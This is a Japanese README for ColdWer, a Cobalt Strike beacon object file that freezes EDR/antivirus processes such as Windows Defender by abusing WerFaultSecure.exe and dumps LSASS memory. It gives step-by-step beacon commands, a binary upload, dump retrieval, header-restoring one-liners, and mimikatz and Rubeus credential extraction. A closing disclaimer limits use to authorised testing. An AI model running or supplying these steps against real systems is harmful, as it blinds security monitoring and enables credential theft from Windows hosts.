
エンドポイントでの冷戦。
ColdWer は、WerFaultSecure.exe の PPL バイパスを利用して、最新の Windows システム上の EDR/AV プロセスをフリーズし、LSASS メモリをダンプします。
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
EDR/AV をフリーズせよ。必要なものを抽出せよ。冷たくあれ。
Sh3llf1r3 (@0xsh3llf1r3)
このプロジェクトは TwoSevenOneT (@TwoSevenOneT) の研究に基づいています:
| プロジェクト | 説明 |
|---|---|
| EDR-Freeze | オリジナルの EDR フリーズ手法 |
| WSASS | WerFaultSecure 経由の LSASS ダンプ |
基礎となる手法のすべてのクレジットは TwoSevenOneT に帰属します。
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna を選択# ソースディレクトリへ移動
cd src/
# BOF をコンパイル(MinGW が必要)
make
# または手動:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o と coldwer.cna をダウンロードcoldwer.cna をロード# Windows Defender の PID を探す
beacon> ps
# プロセスをフリーズ
beacon> cw-freeze 1337
# EDR/AV がフリーズされた状態でコマンドを実行
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# 終わったらアンフリーズ
beacon> cw-unfreeze
# ステップ 1: Win8.1 の WerFaultSecure.exe をアップロード
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# ステップ 2: LSASS の PID を探す
beacon> ps
# ステップ 3: LSASS をダンプ
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# ステップ 4: ダンプファイルをダウンロード
beacon> download C:\Windows\Temp\lsass.dmp
ファイルヘッダーを変更し、ミニダンプ形式を復元します:
| 元の状態 (PNG) | 変更後 (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
ヘッダー復元コマンド:
| 方法 | コマンド |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
その後 Mimikatz で解析:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| コマンド | 説明 |
|---|---|
cw-freeze <PID> [Path] | プロセスをフリーズ |
cw-unfreeze | 以前フリーズしたプロセスをアンフリーズ |
cw-dump <PID> <Path> | LSASS メモリをダンプ |
# デフォルトパスでフリーズ
beacon> cw-freeze 1337
# カスタムの WerFaultSecure.exe を使用
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# LSASS をダンプ
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# 終わったらアンフリーズ
beacon> cw-unfreeze
| ターゲット | 状態 |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ 動作 |
| LSASS (lsass.exe) | ✅ 動作 |
| その他の PPL プロセス | ✅ 動作 |
カーネルモードの自己保護機能を持つ EDR では動作しません:
| EDR | 状態 |
|---|---|
| Elastic Endpoint | ❌ ブロック |
| CrowdStrike Falcon | ❌ ブロック |
| SentinelOne | ❌ ブロック |
| Carbon Black | ❌ ブロック |
1. 🚀 WerFaultSecure.exe を PPL(WinTcb レベル)として起動
↓
2. 🎯 WerFaultSecure がターゲットプロセスにアタッチ
↓
3. ⏸️ MiniDumpWriteDump がターゲットの全スレッドを一時停止
↓
4. 🥶 WerFaultSecure 自体を一時停止 → ターゲットはフリーズ状態を維持
↓
5. ✅ コマンドを実行(EDR/AV は見えない!)
↓
6. 🔥 WerFaultSecure を終了 → ターゲットがアンフリーズ
| バージョン | 出力 |
|---|---|
| Windows 10/11 | 暗号化ダンプのみ |
| Windows 8.1 | 未加工の暗号化されていないダンプ |
⚠️ 許可されたセキュリティテストのみ
このツールは以下の用途を目的としています:
- 許可されたペネトレーションテスト
- 書面による許可を得たレッドチーム運用
- 管理された環境でのセキュリティ研究
作者は本ツールの誤用またはそれによって生じたいかなる損害についても責任を負いません。
コンピュータシステムへの不正アクセスは違法です。
MIT ライセンス - LICENSE を参照
🥶 冷たく、静かに。🥶
⭐ このリポジトリが役に立ったらスターを付けてください! ⭐
| 機能 | 説明 |
|---|
| ❄️ フリーズ | EDR/AV プロセスを昏睡状態にする |
| 🔓 ダンプ | PPL をバイパスして LSASS メモリを抽出 |
| 🛡️ PPL バイパス | WerFaultSecure.exe を WinTcb レベルで活用 |
| ⚡ 高速 | インライン BOF 実行 |
| 🎯 手動制御 | フリーズとアンフリーズのタイミングを自分で決められる |
| エラー | 原因 | 解決方法 |
|---|
| ファイルが見つかりません | パスが無効 | WerFaultSecure.exe のパスを確認 |
| アクセスが拒否されました | 低い権限 | 管理者/SYSTEM として実行 |
| 署名が無効 | 署名なしバイナリ | 適切に署名された WerFaultSecure.exe を使用 |
| プロセスが存在しません | PID が間違っている | ps コマンドで PID を確認 |
| ターゲットが保護されています | カーネル保護 | EDR が自己保護機能を持っている(バイパス不可) |
| すでにフリーズされています | 状態が停止 | 最初に cw-unfreeze を実行 |